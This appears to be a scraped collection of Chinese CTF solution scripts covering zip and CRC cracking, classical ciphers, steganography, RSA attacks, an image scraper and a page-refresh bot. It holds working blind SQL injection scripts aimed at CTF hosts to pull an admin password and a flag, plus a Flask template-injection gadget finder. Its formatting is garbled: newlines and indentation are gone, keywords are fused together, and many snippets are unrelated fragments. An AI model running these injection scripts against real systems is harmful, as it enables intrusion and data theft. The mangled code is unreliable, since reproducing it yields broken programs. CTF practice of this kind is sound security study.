defCrackCrc(crc): for a in dic: for b in dic: for c in dic: for d in dic: s = a + b + c + d if crc == (binascii.crc32(s) & 0xffffffff): #print(s) f.write(s) return
defCrackZip(): for i in range(68): file = 'out' + str(i) + '.zip' f = zipfile.ZipFile(file,'r') GetCrc = f.getinfo('data.txt') crc = GetCrc.CRC CrackCrc(crc)
import re import requests from urllib import error from bs4 import BeautifulSoup import os num = 0 numPicture = 0 file = '' List = [] defFind(url): global List print('正在检测图片总数，请稍等.....') t = 0 i = 1 s = 0 while t < 1000: Url = url + str(t) try: Result = requests.get(Url, timeout=7) except BaseException: t = t + 60 continue else: result = Result.text pic_url = re.findall('"objURL":"(.*?)",', result, re.S) # 先利用正则表达式找到图片url s += len(pic_url) if len(pic_url) == 0: break else: List.append(pic_url) t = t + 60 return s defrecommend(url): Re = [] try: html = requests.get(url) except error.HTTPError as e: return else: html.encoding = 'utf-8' bsObj = BeautifulSoup(html.text, 'html.parser') div = bsObj.find('div', id='topRS') if div isnotNone: listA = div.findAll('a') for i in listA: if i isnotNone: Re.append(i.get_text()) return Re defdowmloadPicture(html, keyword): global num # t =0 pic_url = re.findall('"objURL":"(.*?)",', html, re.S) # 先利用正则表达式找到图片url print('找到关键词:' + keyword + '的图片，即将开始下载图片...') for each in pic_url: print('正在下载第' + str(num + 1) + '张图片，图片地址:' + str(each)) try: if each isnotNone: pic = requests.get(each, timeout=7) else: continue except BaseException: print('错误，当前图片无法下载') continue else: string = file + r'\\' + keyword + '_' + str(num) + '.jpg' fp = open(string, 'wb') fp.write(pic.content) fp.close() num += 1 if num >= numPicture: return if __name__ == '__main__': # 主函数入口 word = input("请输入搜索关键词(可以是人名，地名等): ") #add = 'http://image.baidu.com/search/flip?tn=baiduimage&ie=utf-8&word=%E5%BC%A0%E5%A4%A9%E7%88%B1&pn=120' url = 'http://image.baidu.com/search/flip?tn=baiduimage&ie=utf-8&word=' + word + '&pn=' tot = Find(url) Recommend = recommend(url) # 记录相关推荐 print('经过检测%s类图片共有%d张' % (word, tot)) numPicture = int(input('请输入想要下载的图片数量 ')) file = input('请建立一个存储图片的文件夹，输入文件夹名称即可') y = os.path.exists(file) if y == 1: print('该文件已存在，请重新输入') file = input('请建立一个存储图片的文件夹，)输入文件夹名称即可') os.mkdir(file) else: os.mkdir(file) t = 0 tmp = url while t < numPicture: try: url = tmp + str(t) result = requests.get(url, timeout=10) print(url) except error.HTTPError as e: print('网络错误，请调整网络后重试') t = t+60 else: dowmloadPicture(result.text, word) t = t + 60 print('当前搜索结束，感谢使用') print('猜你喜欢') for re in Recommend: print(re, end=' ')
统计字符频率
统计一个文件里字符出现的频率
1 2 3 4 5 6 7 8
from collections import Counter
f = open("file.txt") txt = f.read() c = Counter() for i in txt: c[i] = c[i]+1 print(c)
s = [0x4c,0xa6,0x49,0x24,0xa5,0x18,0x54,0xa1, 0x8b,0x14,0x80,0xd1,0x49,0x92,0xc4,0x65, 0x45,0x15,0x38,0x62,0x40,0x4d,0x50,0x94, 0x29,0x92,0x84,0x41,0x45,0xc9,0x41,0x35, 0x52,0x5c,0xa6,0x45,0x50,0xa3,0x4a,0x4c, 0x83,0x13] for i in range(160): flag='' for j in range(len(s)): flag+=chr(s[j]-i) print(flag)
defrefresh(url,num): driver = webdriver.Chrome("C:/python27/chromedriver.exe") driver.get(url) for i in range(num): time.sleep(0.001) driver.refresh() print('Browser will be close after 600s') time.sleep(600) driver.close()
if __name__ == "__main__": url = input("Please enter the url:\n") num = int(input("Enter the number of refresh:\n")) refresh(url,num)
defencode(): upper_flag = False# 用于判断输入是否为大写 string = raw_input("please input string to encode:\n") if string.isupper(): upper_flag = True string = string.lower() e_string1 = "" e_string2 = "" for index in string: for i in range(0,26): if index == alphabet[i]: e_string1 += first_cipher[i] e_string2 += second_cipher[i] break if upper_flag: e_string1 = e_string1.upper() e_string2 = e_string2.upper() print"first encode method result is:\n"+e_string1 print"second encode method result is:\n"+e_string2 return
defdecode(): upper_flag = False# 用于判断输入是否为大写 e_string = raw_input("please input string to decode:\n") if e_string.isupper(): upper_flag = True e_string = e_string.lower() e_array = re.findall(".{5}",e_string) d_string1 = "" d_string2 = "" for index in e_array: for i in range(0,26): if index == first_cipher[i]: d_string1 += alphabet[i] if index == second_cipher[i]: d_string2 += alphabet[i] if upper_flag: d_string1 = d_string1.upper() d_string2 = d_string2.upper() print"first decode method result is:\n"+d_string1 print"second decode method result is:\n"+d_string2 return
if __name__ == '__main__': print"\t\tcoding by qux" whileTrue: print"\t*******Bacon Encode_Decode System*******" print"input should be only lowercase or uppercase,cipher just include a,b(or A,B)" print"1.encode\n2.decode\n3.exit" s_number = raw_input("please input number to choose\n") if s_number == "1": encode() raw_input() elif s_number == "2": decode() raw_input() elif s_number == "3": break else: continue
matrix_list1 = [] matrix_list2 = [] pla_list = [] for i in range(0,len(matrix1),5): matrix_list1.append(list(matrix1[i:i+5])) #print matrix_list1
for i in range(0,len(matrix2),5): matrix_list2.append(list(matrix2[i:i+5])) #print matrix_list2
for i in range(0,len(pla),5): pla_list.append(list(pla[i:i+5])) #print pla_list
#查询两个密文字母位置 deffind_index1(x): for i in range(len(matrix_list1)): for j in range(len(matrix_list1[i])): if matrix_list1[i][j] == x: return i,j deffind_index2(y): for k in range(len(matrix_list2)): for l in range(len(matrix_list2[k])): if matrix_list2[k][l] == y: return k,l
defget_base64_diff_value(s1, s2): base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in xrange(len(s2)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res
defsolve_stego(): with open('3.txt', 'rb') as f: file_lines = f.readlines() bin_str = '' for line in file_lines: steg_line = line.replace('\n', '') norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '') diff = get_base64_diff_value(steg_line, norm_line) print diff pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 print goflag(bin_str)
defgoflag(bin_str): res_str = '' for i in xrange(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i + 8], 2)) return res_str
fp = open('t.txt','r') a = fp.readlines() p = [] for i in a: p.append(int(i)) s = '' for i in p: if i == 63: a = '00' elif i == 127: a = '01' elif i == 191: a = '10' elif i == 255: a = '11' s += a # print(s)
import binascii flag = '' for i in range(0,len(s),8): flag += chr(int(s[i:i+8],2)) flag = binascii.unhexlify(flag) wp = open('res.jpg','wb') wp.write(flag) wp.close() #00111111 63 #01111111 127 #10111111 191 #11111111 255
from pdfminer.pdfparser import PDFParser,PDFDocument from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.converter import PDFPageAggregator from pdfminer.layout import LTTextBoxHorizontal,LAParams from pdfminer.pdfinterp import PDFTextExtractionNotAllowed import os import re from hashlib import sha1 import hashlib
defget_pdf(): return [i for i in os.listdir("./") if i.endswith("pdf")]
res = '' # 循环遍历列表，每次处理一个page的内容 for page in doc.get_pages(): interpreter.process_page(page) # 接受该页面的LTPage对象 layout = device.get_result() # 这里layout是一个LTPage对象 里面存放着 这个page解析出的各种对象 一般包括LTTextBox, LTFigure, LTImage, LTTextBoxHorizontal 等等 想要获取文本就获得对象的text属性， for x in layout: if isinstance(x, LTTextBoxHorizontal): res += x.get_text().strip() # print(res) return res
deffind_password(): pdf_path = get_pdf()
for i in pdf_path: print("Searching word in " + i) pdf_text = convert_pdf_2_text('./'+i) # 这里的分隔符用空格和回车就够了，主要是分割出单词 pdf_text = re.split(' | \n', pdf_text) for word in pdf_text: print(word) enc_word = (word + 'Salz!').encode("utf-8") sha1_password = hashlib.sha1(enc_word).hexdigest() if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c': print("Find the password :" + word) exit()
if __name__ == '__main__': find_password()
flask模板注入
检测有哪些含有os模板的模块可以用
1 2 3 4 5 6 7 8 9 10 11 12 13 14
#!/usr/bin/env python # encoding: utf-8 num=0 for a in''.__class__.__mro__.__subclasses__(): if a.__name__ == 'catch_warnings': try: for b in a.__init__.__globals__.values(): if b.__class__ == {}.__class__: if'eval'in b.keys(): print num,item num+=1 except: print'-' num+=1
find_decode = lambda d , data : eval(f'base64.{d}({data})') defdecode(data): for i in dir(base64): if i[3:] == 'decode': try: decode_data = find_decode(i,data) chars = decode_data if all(chr(x).isalpha() or chr(x).isspace() for x in decode_data)elseNone if chars != None : returnf'Decoded String is: {chars.decode("utf-8")}\nEncrypet was used is: {i[:3]}' except: pass
#_______________ Test _________________
print(decode(b'NM&qnZy;B1a%^M')) #output : Hello World , b85 print(decode(b'48656C6C6F20576F726C64'))#output : Hello World , b16 print(decode(b'SGVsbG8gV29ybGQ='))#output : Hello World , b64 print(decode(b'JBSWY3DPEBLW64TMMQ======'))#output : Hello World , b32
import requests url = "http://111.198.29.45:42192/zhuanxvlogin" # url = "http://localhost:9090/zhuanxvlogin" deffirst(): admin_password = "" for i in range(1,9): for n in range(30,140): guess = chr(n) if guess == "_"or guess == "%": continue username = "aaa'\nor\n(select\nsubstring(password,"+str(i)+",1)\nfrom\nUser\nwhere\nname\nlike\n'homamamama')\nlike\n'"+guess+"'\nor\n''like'" data = {"user.name": username, "user.password": "a"} req = requests.post(url, data=data, timeout=1000).text if len(req)>5000: admin_password = admin_password + guess print"admin password: "+ admin_password break return admin_password defsecond(admin_password): flag = "" for i in range(1,50): for n in range(30,140): guess = chr(n) if guess == "_"or guess == "%": continue username = "aa'\nor\n(select\nsubstring(welcometoourctf,"+str(i)+",1)\nfrom\nFlag)\nlike\n'"+guess+"'\nand\n''like'" data = {"user.name": username, "user.password": admin_password} req = requests.post(url, data=data, timeout=1000).text if len(req)>5000: flag = flag + guess print"flag:" + flag break admin_password = first() second(admin_password)
常见模板
1 2 3 4 5 6 7 8 9 10
import requests
for i in range(1,40): for j in range(32,128): url = "http://47.94.221.39:8004//index.php?id=3%20%df%27and%20(case%20when(ord(mid((select%20group_concat(flag)from%20flag)from%20{0}%20for%201))={1})%20then%20 1%20else%200%20end)%23" res=requests.get(url.format(i,j)) if'img'in res.text: print(chr(j))
# generate random Accept-Language only once each session langTmp = choicePart(languages,3) indexes = sorted(choicePart(range(1,10),3), reverse=True)
acceptLang = [defaultLang] for i in xrange(3): acceptLang.append(langTmp[i] % (indexes[i],)) acceptLangStr = ','.join(acceptLang) debugPrint(acceptLangStr)
for i in range(LEN): shifters_i = [] for shifter in range(10): if b[(shifter * LEN) % len(b) + i] == png_header[i]: shifters_i.append(shifter)
shifters.append(shifters_i)
defassemble_png(k): result = [0for _ in range(30000)]
for i in range(LEN): shifter = ord(k[i]) - ord('0') for j in range(len(b) // LEN): result[(j * LEN) + i] = b[(((j + shifter) * LEN) % len(b)) + i]
i = len(result) - 1 while result[i] == 0: i -= 1
result = result[:i + 1]
return result
valid_keys = [] print('{:<5}{:<20}{}'.format('#', 'Candidate', 'isValid?')) for i, key_candidate in enumerate(itertools.product(*shifters)): key_candidate = ''.join(map(str, key_candidate))
png_candidate = assemble_png(key_candidate) f = io.BytesIO(bytes(png_candidate))
#!/usr/bin/env python3 # coding:utf-8 #power by jedi
import gmpy2 import binascii
n = 966808932627497190635859236054960349099463975227350564265384373280336699853387254070662881265937565163000758606154308757944030571837175048514574473061401566330836334647176655282619268592560172726526643074499534129878217409046045533656897050117438496357231575999185527675071002803951800635220029015932007465117818739948903750200830856115668691007706836952244842719419452946259275251773298338162389930518838272704908887016474007051397194588396039111216708866214614779627566959335170676055025850932631053641576566165694121420546081043285806783239296799795655191121966377590175780618944910532816988143056757054052679968538901460893571204904394975714081055455240523895653305315517745729334114549756695334171142876080477105070409544777981602152762154610738540163796164295222810243309051503090866674634440359226192530724635477051576515179864461174911975667162597286769079380660782647952944808596310476973939156187472076952935728249061137481887589103973591082872988641958270285169650803792395556363304056290077801453980822097583574309682935697260204862756923865556397686696854239564541407185709940107806536773160263764483443859425726953142964148216209968437587044617613518058779287167853349364533716458676066734216877566181514607693882375533 # p 和 q通过在线网站http://factordb.com/index.php分解 p = gmpy2.mpz(31093551302922880999883020803665536616272147022877428745314830867519351013248914244880101094365815998050115415308439610066700139164376274980650005150267949853671653233491784289493988946869396093730966325659249796545878080119206283512342980854475734097108975670778836003822789405498941374798016753689377992355122774401780930185598458240894362246194248623911382284169677595864501475308194644140602272961699230282993020507668939980205079239221924230430230318076991507619960330144745307022538024878444458717587446601559546292026245318907293584609320115374632235270795633933755350928537598242214216674496409625928797450473) q = gmpy2.mpz(31093551302922880999883020803665536616272147022877428745314830867519351013248914244880101094365815998050115415308439610066700139164376274980650005150267949853671653233491784289493988946869396093730966325659249796545878080119206283512342980854475734097108975670778836003822789405498941374798016753689377992355122774401780930185598458240894362246194248623911382284169677595864501475308194644140602272961699230282993020507668939980205079239221924230430230318076991507619960330144745307022538024878444458717587446601559546292026245318907293584609320115374632235270795633933755350928537598242214216674496409625928997877221) e = gmpy2.mpz(65537) phi_n = (p-1)*(q-1) d = gmpy2.invert(e, phi_n) c = gmpy2.mpz(168502910088858295634315070244377409556567637139736308082186369003227771936407321783557795624279162162305200436446903976385948677897665466290852769877562167487142385308027341639816401055081820497002018908896202860342391029082581621987305533097386652183849657065952062433988387640990383623264405525144003500286531262674315900537001845043225363148359766771033899680111076181672797077410584747509581932045540801777738548872747597899965366950827505529432483779821158152928899947837196391555666165486441878183288008753561108995715961920472927844877569855940505148843530998878113722830427807926679324241141182238903567682042410145345551889442158895157875798990903715105782682083886461661307063583447696168828687126956147955886493383805513557604179029050981678755054945607866353195793654108403939242723861651919152369923904002966873994811826391080318146260416978499377182540684409790357257490816203138499369634490897553227763563553981246891677613446390134477832143175248992161641698011195968792105201847976082322786623390242470226740685822218140263182024226228692159380557661591633072091945077334191987860262448385123599459647228562137369178069072804498049463136233856337817385977990145571042231795332995523988174895432819872832170029690848)
from Crypto.PublicKey import RSA import gmpy2 import rsa
#1.从公钥文件中分解n和e public_key = RSA.importKey(open("./tmp/pubkey.pem").read()) n = public_key.n e = public_key.e #print("n=\n%s\ne=\n%s"%(n,e))
#2.在线分解n得到p和q p = 275127860351348928173285174381581152299 q = 319576316814478949870590164193048041239
#3.计算出d d = int(gmpy2.invert(e, (p-1)*(q-1))) #print(d)
#通过已知条件，生成私钥，并解密密文 private_key = rsa.PrivateKey(n, e, d, p, q)#生成私钥 with open("./tmp/flag.enc") as f: flag = rsa.decrypt(f.read(), private_key) print(flag) #print(rsa.decrypt(f.read(), private_key).decode())
e=65537(已知cepq求m)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import gmpy2 defDecrypt(c,e,p,q): L=(p-1)*(q-1) d=gmpy2.invert(e,L) n=p*q m=gmpy2.powmod(c,d,n) flag=str(m) print("flag{"+flag+"}") if __name__ == '__main__': p = 31093551302922880999883020803665536616272147022877428745314830867519351013248914244880101094365815998050115415308439610066700139164376274980650005150267949853671653233491784289493988946869396093730966325659249796545878080119206283512342980854475734097108975670778836003822789405498941374798016753689377992355122774401780930185598458240894362246194248623911382284169677595864501475308194644140602272961699230282993020507668939980205079239221924230430230318076991507619960330144745307022538024878444458717587446601559546292026245318907293584609320115374632235270795633933755350928537598242214216674496409625928997877221 q = 31093551302922880999883020803665536616272147022877428745314830867519351013248914244880101094365815998050115415308439610066700139164376274980650005150267949853671653233491784289493988946869396093730966325659249796545878080119206283512342980854475734097108975670778836003822789405498941374798016753689377992355122774401780930185598458240894362246194248623911382284169677595864501475308194644140602272961699230282993020507668939980205079239221924230430230318076991507619960330144745307022538024878444458717587446601559546292026245318907293584609320115374632235270795633933755350928537598242214216674496409625928797450473 e = 65537 c = 168502910088858295634315070244377409556567637139736308082186369003227771936407321783557795624279162162305200436446903976385948677897665466290852769877562167487142385308027341639816401055081820497002018908896202860342391029082581621987305533097386652183849657065952062433988387640990383623264405525144003500286531262674315900537001845043225363148359766771033899680111076181672797077410584747509581932045540801777738548872747597899965366950827505529432483779821158152928899947837196391555666165486441878183288008753561108995715961920472927844877569855940505148843530998878113722830427807926679324241141182238903567682042410145345551889442158895157875798990903715105782682083886461661307063583447696168828687126956147955886493383805513557604179029050981678755054945607866353195793654108403939242723861651919152369923904002966873994811826391080318146260416978499377182540684409790357257490816203138499369634490897553227763563553981246891677613446390134477832143175248992161641698011195968792105201847976082322786623390242470226740685822218140263182024226228692159380557661591633072091945077334191987860262448385123599459647228562137369178069072804498049463136233856337817385977990145571042231795332995523988174895432819872832170029690848 Decrypt(c,e,p,q)
defegcd(a, b): if a == 0: return b, 0, 1 else: g, y, x = egcd(b % a, a) return g, x - b // a * y, y
defmain(): with open('flag.enc1', 'r') as f1: c1 = f1.read().encode('hex') c1 = string.atoi(c1, base=16)
with open('flag.enc2', 'r') as f2: c2 = f2.read().encode('hex') c2 = string.atoi(c2, base=16)
n = 0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929L
# coding = utf-8 import libnum deffastExpMod(b, e, m): """ e = e0*(2^0) + e1*(2^1) + e2*(2^2) + ... + en * (2^n) b^e = b^(e0*(2^0) + e1*(2^1) + e2*(2^2) + ... + en * (2^n)) = b^(e0*(2^0)) * b^(e1*(2^1)) * b^(e2*(2^2)) * ... * b^(en*(2^n)) b^e mod m = ((b^(e0*(2^0)) mod m) * (b^(e1*(2^1)) mod m) * (b^(e2*(2^2)) mod m) * ... * (b^(en*(2^n)) mod m) mod m """ result = 1 while e != 0: if (e&1) == 1: # ei = 1, then mul result = (result * b) % m e >>= 1 # b, b^2, b^4, b^8, ... , b^(2^n) b = (b*b) % m return result
defdecryption(C, d, n): #RSA M = C^d mod n return fastExpMod(C, d, n)
p = 13574881 q = 23781539 n = p * q fn = (p - 1) * (q - 1) e = 23 d = libnum.invmod(e,fn) print d C = int('0xdc2eeeb2782c', 16) M = decryption(C, d, n) flag = str(hex(M))[2:-1] print flag.decode('hex')
#读入公钥 with open(public_key, "r") as f: key = RSA.importKey(f) n = key.n e = key.e
#读入密文 with open(cipher_file, "r") as f: cipher = f.read().encode("hex") cipher = int(cipher, 16) #print(cipher)
#破解密文 defget_flag(): i = 0 whileTrue: if(gmpy2.iroot(cipher+i*n, 3)[1] == True): flag_bin = int(gmpy2.iroot(cipher+x*n, 3)[0]) flag = hex(flag_bin)[2:-1].decode("hex") print(flag) break i += 1
defget_flag_for(): for x in xrange(118600000, 118720000): if(gmpy2.iroot(cipher+x*n, 3)[1] == 1): flag_bin = int(gmpy2.iroot(cipher+x*n, 3)[0]) flag = hex(flag_bin)[2:-1].decode("hex") print(flag) break
if __name__ == "__main__": get_flag_for() #get_flag()
#!/usr/bin/python # -*- coding:utf8 - from libnum import n2s,s2n defgcd(a, b):#求最大公约数 if a < b: a, b = b, a while b != 0: temp = a % b a = b b = temp return a defegcd(a,b):#扩展欧几里得算法 if a==0: return (b,0,1) else: g,y,x=egcd(b%a,a) return (g,x-(b//a)*y,y) defmodinv(a,m): g,x,y=egcd(a,m) if g!=1: raise Exception('modular inverse does not exist') else: return x%m if __name__ == '__main__': p =15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199 q =28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003 e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619 d =modinv(e,(p-1)*(q-1)) c =38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192 n =p*q m = pow(c,d,n) print n2s(m)
#/!usr/bin/env python #coding:utf-8 # 恢复公钥 from Crypto.PublicKey import RSA
public_key_file = "./tmp/pubkey.pem" with open(public_key_file, "r") as f: public_key = RSA.importKey(f) n = public_key.n e = public_key.e print("n=\n%s\ne=\n%s"%(n,e))
# wqm @ wqm-top in ~/下载/i春秋/密码/RSA脚本整理/5私钥恢复和最优非对称加密填充/ISC2016训练赛——phrackCTF--600--godlikeRSA [22:24:30] $ cat get_private_key.py #!/usr/bin/python #-*- coding:utf-8 -*- #私钥修复 import re import pickle from itertools import product from libnum import invmod, gcd
defsolve_linear(a, b, mod): if a & 1 == 0or b & 1 == 0: returnNone return (b * invmod(a, mod)) & (mod - 1) # hack for mod = power of 2
defto_n(s): s = re.sub(r"[^0-9a-f]", "", s) return int(s, 16)
try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception')
if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
import PIL from PIL import Image MAX = 187 img = Image.new("RGB",(MAX,MAX)) str = "01字符串" i = 0 for y in range (0,MAX): for x in range (0,MAX): if(str[i] == '1'): img.putpixel([x,y],(0, 0, 0)) else: img.putpixel([x,y],(255,255,255)) i = i+1 img.show() img.save("flag.png")
from multiprocessing.dummy import Pool as tp import hashlib knownMd5 = '9ccde' defmd5(text): return hashlib.md5(str(text).encode('utf-8')).hexdigest() deffindCode(code): key = code.split(':') start = int(key[0]) end = int(key[1]) for code in range(start, end): if md5(code)[0:5] == knownMd5: print code break list=[] for i in range(3): list.append(str(10000000*i) + ':' + str(10000000*(i+1))) pool = tp() pool.map(findCode, list) pool.close() pool.join()
